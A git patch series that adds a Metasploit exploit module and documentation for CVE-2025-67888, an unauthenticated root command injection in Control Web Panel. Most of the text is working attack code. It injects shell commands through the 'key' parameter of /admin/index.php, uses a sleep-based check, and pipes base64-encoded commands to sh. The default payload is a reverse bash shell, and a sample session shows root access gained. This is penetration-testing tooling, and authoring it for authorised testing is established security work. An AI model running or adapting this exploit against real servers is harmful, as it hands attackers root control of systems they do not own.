From 455275d0874befd3ed09ef62a0772a960b243fc2 Mon Sep 17 00:00:00 2001 From: JohannesLks Date: Tue, 23 Dec 2025 19:21:34 -0500 Subject: [PATCH 1/8] add module for CVE-2025-67888 --- .../http/control_web_panel_api_cmd_exec.md | 68 +++++++++ .../http/control_web_panel_api_cmd_exec.rb | 136 ++++++++++++++++++ 2 files changed, 204 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/control_web_panel_api_cmd_exec.md create mode 100644 modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb diff --git a/documentation/modules/exploit/linux/http/control_web_panel_api_cmd_exec.md b/documentation/modules/exploit/linux/http/control_web_panel_api_cmd_exec.md new file mode 100644 index 0000000000..bab4644bb5 --- /dev/null +++ b/documentation/modules/exploit/linux/http/control_web_panel_api_cmd_exec.md @@ -0,0 +1,68 @@ +## Vulnerable Application + +Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to unauthenticated OS command injection +via the `key` GET parameter in `/admin/index.php` when the `api` parameter is set. Successful +exploitation results in code execution as the root user. + +This is a blind command injection vulnerability - results are not returned in the HTTP response. + +**Prerequisites**: Softaculous and/or SitePad must be installed via the Scripts Manager. + +## Verification Steps + +1. Install CWP version 0.9.8.1208 or earlier on CentOS 7/8 +2. Install Softaculous via CWP Scripts Manager +3. Start Metasploit: `msfconsole` +4. Load the module: `use exploit/linux/http/control_web_panel_api_cmd_exec` +5. Set options: `set RHOSTS ` and `set LHOST ` +6. Run: `check` to verify vulnerability +7. Run: `exploit` to get a shell + +## Options + +### TARGETURI + +The path to the vulnerable endpoint. Default: `/admin/index.php` + +### SSL + +CWP admin panel typically runs on HTTPS port 2031. Default: `true` + +## Scenarios + +### CWP Version 0.9.8.1208 on CentOS 8 + +``` +msf6 > use exploit/linux/http/control_web_panel_api_cmd_exec +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set RHOSTS 192.168.123.134 +RHOSTS => 192.168.123.134 +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set RPORT 2031 +RPORT => 2031 +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set SSL true +SSL => true +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set LHOST 192.168.123.128 +LHOST => 192.168.123.128 +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > check +[*] Checking vulnerability with sleep command (waiting 6 seconds)... +[+] 192.168.123.134:2031 - The target appears to be vulnerable. Server waited 6.3 seconds (expected >= 6). +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > exploit + +[*] Started reverse TCP handler on 192.168.123.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking vulnerability with sleep command (waiting 7 seconds)... +[+] The target appears to be vulnerable. Server waited 7.25 seconds (expected >= 7). +[*] Executing Unix Command for cmd/unix/reverse_bash +[*] Command shell session 1 opened (192.168.123.128:4444 -> 192.168.123.134:47550) at 2025-12-23 19:00:26 -0500 + +id +uid=0(root) gid=0(root) groups=0(root) +whoami +root +hostname +localhost.localdomain +cat /etc/redhat-release +CentOS Linux release 8.5.2111 +``` diff --git a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb new file mode 100644 index 0000000000..fb84595cc7 --- /dev/null +++ b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb @@ -0,0 +1,136 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Control Web Panel /admin/index.php Unauthenticated RCE', + 'Description' => %q{ + Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to + unauthenticated OS command injection. User input passed via the + "key" GET parameter to /admin/index.php (when the "api" parameter is set) + is not properly sanitized before being used to execute OS commands. + This can be exploited by unauthenticated attackers to inject and execute + arbitrary OS commands with the privileges of the root user on the web server. + + Successful exploitation usually requires "Softaculous" and/or "SitePad" + to be installed through the Scripts Manager. + }, + 'Author' => [ + 'Lukas Johannes Möller', # Metasploit module + 'Egidio Romano' # Vulnerability discovery + ], + 'References' => [ + ['CVE', '2025-67888'], + ['URL', 'https://karmainsecurity.com/KIS-2025-09'], + ['URL', 'https://www.cve.org/CVERecord?id=CVE-2025-67888'], + ['URL', 'https://control-webpanel.com'] + ], + 'DisclosureDate' => '2025-12-16', + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + Opt::RPORT(2031), + OptString.new('TARGETURI', [true, 'Base path', '/admin/index.php']) + ]) + end + + def check + sleep_time = rand(5..10) + + print_status("Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...") + + t1 = Time.now + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { + 'api' => '1', + 'key' => "$(sleep #{sleep_time})" + } + ) + t2 = Time.now + + time_diff = t2 - t1 + + if res && time_diff >= sleep_time + return CheckCode::Appears("Server waited #{time_diff.round(2)} seconds (expected >= #{sleep_time}).") + elsif res + return CheckCode::Safe("Server responded in #{time_diff.round(2)} seconds (expected >= #{sleep_time}).") + else + return CheckCode::Unknown("No response from server.") + end + rescue ::Rex::ConnectionError + return CheckCode::Unknown("Connection failed.") + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end + + def execute_command(cmd, _opts = {}) + vprint_status("Executing command: #{cmd}") + + cmd_b64 = Rex::Text.encode_base64(cmd) + + payload_cmd = "echo #{cmd_b64}|base64 -d|sh" + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { + 'api' => '1', + 'key' => "$(#{payload_cmd})" + } + ) + end +end From 5329e1472eb79ae8494109fc482630002cb6525f Mon Sep 17 00:00:00 2001 From: JohannesLks Date: Wed, 24 Dec 2025 06:39:13 -0500 Subject: [PATCH 2/8] fix: PR and Lint --- .../linux/http/control_web_panel_api_cmd_exec.rb | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb index fb84595cc7..a96b32e806 100644 --- a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb +++ b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb @@ -92,18 +92,14 @@ class MetasploitModule < Msf::Exploit::Remote } ) t2 = Time.now - time_diff = t2 - t1 - if res && time_diff >= sleep_time + return CheckCode::Unknown('No response from server.') unless res + if time_diff >= sleep_time return CheckCode::Appears("Server waited #{time_diff.round(2)} seconds (expected >= #{sleep_time}).") - elsif res - return CheckCode::Safe("Server responded in #{time_diff.round(2)} seconds (expected >= #{sleep_time}).") - else - return CheckCode::Unknown("No response from server.") end - rescue ::Rex::ConnectionError - return CheckCode::Unknown("Connection failed.") + + return CheckCode::Safe("Server responded in #{time_diff.round(2)} seconds (expected >= #{sleep_time}).") end def exploit @@ -124,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote payload_cmd = "echo #{cmd_b64}|base64 -d|sh" - res = send_request_cgi( + send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { From 0bfb77d74f770637ef9643b963135b2014bbd051 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Lukas=20Johannes=20M=C3=B6ller?= <74617774+JohannesLks@users.noreply.github.com> Date: Fri, 26 Dec 2025 16:04:12 +0100 Subject: [PATCH 3/8] control_web_panel_api_cmd_exec.rb aktualisieren Co-authored-by: Julien Voisin --- modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb index a96b32e806..5b1c704c3f 100644 --- a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb +++ b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => '2025-12-16', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], - 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Arch' => [ARCH_ALL], 'Privileged' => true, 'Targets' => [ [ From 982f5e0e28a6736e0588742169202fc2793beab6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Lukas=20Johannes=20M=C3=B6ller?= <74617774+JohannesLks@users.noreply.github.com> Date: Fri, 26 Dec 2025 16:04:42 +0100 Subject: [PATCH 4/8] control_web_panel_api_cmd_exec.rb aktualisieren Co-authored-by: Julien Voisin --- modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb index 5b1c704c3f..8bf7170c1c 100644 --- a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb +++ b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => '2025-12-16', 'License' => MSF_LICENSE, - 'Platform' => ['unix', 'linux'], + 'Platform' => ['linux'], 'Arch' => [ARCH_ALL], 'Privileged' => true, 'Targets' => [ From c859f18557225fcf7959d4a5fff7fd284fe16942 Mon Sep 17 00:00:00 2001 From: JohannesLks Date: Thu, 8 Jan 2026 15:34:11 +0100 Subject: [PATCH 5/8] fix: - Hardcode endpoint path in send_request_cgi - Use idiomatic Ruby single-line conditional - Remove unnecessary return keyword --- .../linux/http/control_web_panel_api_cmd_exec.rb | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb index 8bf7170c1c..152a335554 100644 --- a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb +++ b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb @@ -72,8 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote ) register_options([ - Opt::RPORT(2031), - OptString.new('TARGETURI', [true, 'Base path', '/admin/index.php']) + Opt::RPORT(2031) ]) end @@ -85,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote t1 = Time.now res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path), + 'uri' => normalize_uri('/admin/index.php'), 'vars_get' => { 'api' => '1', 'key' => "$(sleep #{sleep_time})" @@ -95,11 +94,9 @@ class MetasploitModule < Msf::Exploit::Remote time_diff = t2 - t1 return CheckCode::Unknown('No response from server.') unless res - if time_diff >= sleep_time - return CheckCode::Appears("Server waited #{time_diff.round(2)} seconds (expected >= #{sleep_time}).") - end + return CheckCode::Appears("Server waited #{time_diff.round(2)} seconds (expected >= #{sleep_time}).") if time_diff >= sleep_time - return CheckCode::Safe("Server responded in #{time_diff.round(2)} seconds (expected >= #{sleep_time}).") + CheckCode::Safe("Server responded in #{time_diff.round(2)} seconds (expected >= #{sleep_time}).") end def exploit @@ -122,7 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path), + 'uri' => normalize_uri('/admin/index.php'), 'vars_get' => { 'api' => '1', 'key' => "$(#{payload_cmd})" From 8bd24f4ecfa3a3f0436f2f19ac94cfa49ac31671 Mon Sep 17 00:00:00 2001 From: JohannesLks Date: Thu, 8 Jan 2026 12:38:20 -0500 Subject: [PATCH 6/8] Fix:n- Use Rex::Stopwatch for time-based checkn- Change CheckCode::Appears to CheckCode::Vulnerable - Add cmd/base64 encoder in Payload hash for Unix Command target - Simplify execute_command by removing manual base64 encoding --- .../http/control_web_panel_api_cmd_exec.rb | 42 ++++++++++--------- 1 file changed, 23 insertions(+), 19 deletions(-) diff --git a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb index 152a335554..cb7ec4b388 100644 --- a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb +++ b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb @@ -47,7 +47,14 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'Type' => :unix_cmd + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + }, + 'Payload' => { + 'Encoder' => 'cmd/base64', + 'BadChars' => "\x00\x20" + } } ], [ @@ -81,22 +88,23 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...") - t1 = Time.now - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri('/admin/index.php'), - 'vars_get' => { - 'api' => '1', - 'key' => "$(sleep #{sleep_time})" - } - ) - t2 = Time.now - time_diff = t2 - t1 + res, elapsed_time = Rex::Stopwatch.elapsed_time do + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('/admin/index.php'), + 'vars_get' => { + 'api' => '1', + 'key' => "$(sleep #{sleep_time})" + } + ) + end + + vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds") return CheckCode::Unknown('No response from server.') unless res - return CheckCode::Appears("Server waited #{time_diff.round(2)} seconds (expected >= #{sleep_time}).") if time_diff >= sleep_time + return CheckCode::Vulnerable("Server waited #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") if elapsed_time >= sleep_time - CheckCode::Safe("Server responded in #{time_diff.round(2)} seconds (expected >= #{sleep_time}).") + CheckCode::Safe("Server responded in #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") end def exploit @@ -113,16 +121,12 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") - cmd_b64 = Rex::Text.encode_base64(cmd) - - payload_cmd = "echo #{cmd_b64}|base64 -d|sh" - send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('/admin/index.php'), 'vars_get' => { 'api' => '1', - 'key' => "$(#{payload_cmd})" + 'key' => "$(#{cmd})" } ) end From 4678d82c6dd8100df1d3c645acee3c3490d38eec Mon Sep 17 00:00:00 2001 From: JohannesLks Date: Mon, 12 Jan 2026 17:03:08 +0100 Subject: [PATCH 7/8] fix: architecture specification --- modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb index cb7ec4b388..db8a552a60 100644 --- a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb +++ b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => '2025-12-16', 'License' => MSF_LICENSE, 'Platform' => ['linux'], - 'Arch' => [ARCH_ALL], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ From 2809ff8235fb090c1d0803e245a1ee38c45a5056 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 13 Jan 2026 14:24:04 +0100 Subject: [PATCH 8/8] Fix archs --- .../linux/http/control_web_panel_api_cmd_exec.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb index db8a552a60..469786440f 100644 --- a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb +++ b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb @@ -38,16 +38,15 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => '2025-12-16', 'License' => MSF_LICENSE, - 'Platform' => ['linux'], - 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Platform' => ['linux', 'unix'], + 'Arch' => ARCH_ALL, 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_cmd, + 'Arch' => ARCH_ALL, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, @@ -61,8 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Linux Dropper', { 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Type' => :linux_dropper + 'Arch' => ARCH_ALL } ] ],